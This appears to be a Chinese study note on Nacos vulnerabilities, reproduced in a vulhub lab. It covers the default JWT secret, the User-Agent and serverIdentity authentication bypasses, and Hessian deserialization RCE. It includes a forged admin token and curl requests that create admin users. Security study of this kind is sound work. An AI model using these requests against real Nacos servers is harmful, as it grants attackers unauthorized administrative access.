Nacos相关漏洞学习

509 阅读2分钟

目录

JWT_Secret_Key硬编码导致的认证绕过漏洞(QVD-2023-6271)

不当处理User-Agent导致的认证绕过漏洞(CVE-2021-29441)

identity key value 硬编码权限绕过

Hessian 反序列化 RCE

环境搭建

为了方便直接用vulhub 版本:NACOS v1.4.0

cd vulhub-master\nacos\CVE-2021-29441 
docker compose up -d
docker compose restart nacos

*某些情况下nacos服务会启动失败(无法连接数据库导致),可以重启nacos服务或者重启所有服务 访问http://127.0.0.1:8848/nacos/#/login image.png 默认账号密码都是nacos image.png

JWT_Secret_Key硬编码身份验证绕过

尽管设置了 NACOS_AUTH_ENABLE=true 和自定义的 NACOS_AUTH_TOKEN,自定义的 token 并未生效,用户仍需使用默认的 secret.key 来生成可访问 API 接口的 access_token。预期是使用自定义的 NACOS_AUTH_TOKEN 来生成并使用 access_token,但实际上仍需要依赖默认的 secret.key

在application.properties中可以看到 secret.key的值默认为SecretKey012345678901234567890123456789012345678901234567890123456789 image.png github.com/alibaba/nac…

在得到key的值后我们可以任意伪造jwt image.png curl -XPOST 'http://ip:8848/nacos/v1/auth/users/?accessToken=eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6IjI2MTYyMzkwMjIifQ.5aXePQdHbh9hKNoj_qqCC4x6PzbXmpy-vYQHhi0PdjVHyDJ40Ge6CVz6AWuV1UHa4H8-A-LXMOqQGSXjrsJ8HQ&username=admin&password=123456' 访问接口 创建一个admin用户 密码123456

不当处理User-Agent导致的认证绕过漏洞(**CVE-2021-29441)

版本: <=Nacos 1.4.1 配置为使用身份验证(-Dnacos.core.auth.enabled=true) nacos在进行认证授权操作时,会判断请求的user-agent是否为”Nacos-Server”,如果是的话则不进行任何认证 可调用敏感接口

list用户接口 http://ip:8848/nacos/v1/auth/users?pageNo=1&pageSize=1 获取当前用户列表以及密码 直接访问会403 image.png

将user-agent头修改为Nacos-Server即可绕过 image.png

添加用户接口: POST /nacos/v1/auth/users?username=admin&password=123456 User-Agent: Nacos-Server pageNo=1&pageSize=9 image.png 创建登录成功

identity key value 硬编码权限绕过

影响版本:Nacos <= 2.2.0 nacos.core.auth.enabled=true 当请求头携带"serverIdentity:security"时 可绕过权限认证 image.png

image.png

github.com/alibaba/nac…

检查authConfigs对象中是否设置了serverIdentityKeyserverIdentityValue 如果这两个配置项都非空,代码会从HTTP请求的头部获取服务器身份信息 再对比header中value的值和配置文件中nacos.core.auth.server.identity.value的值是否相同,如果相同则通过权限校验

利用: 添加用户接口 curl -XPOST 'http://ip:8848/nacos/v1/auth/users?username=admin2&password=123456' -H "serverIdentity: security"

Hessian 反序列化 RCE

1.4.0 <= Nacos < 1.4.6 2.0.0 <= Nacos < 2.2.3 Nacos默认的7848端口是用于Nacos集群间Raft协议的通信,该端口的服务在处理部分Jraft请求时会使用Hessian进行反序列化 image.png github.com/c0olw/Nacos… 直接用大佬的工具一把嗦